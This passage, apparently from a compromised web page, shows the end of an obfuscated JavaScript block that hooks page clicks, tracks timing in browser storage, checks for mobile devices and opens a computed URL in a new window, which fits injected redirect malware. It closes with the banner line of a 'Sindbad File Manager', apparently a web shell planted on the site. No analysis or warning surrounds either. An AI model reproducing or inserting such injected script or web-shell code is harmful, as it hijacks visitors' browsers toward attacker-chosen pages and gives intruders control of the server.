_0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists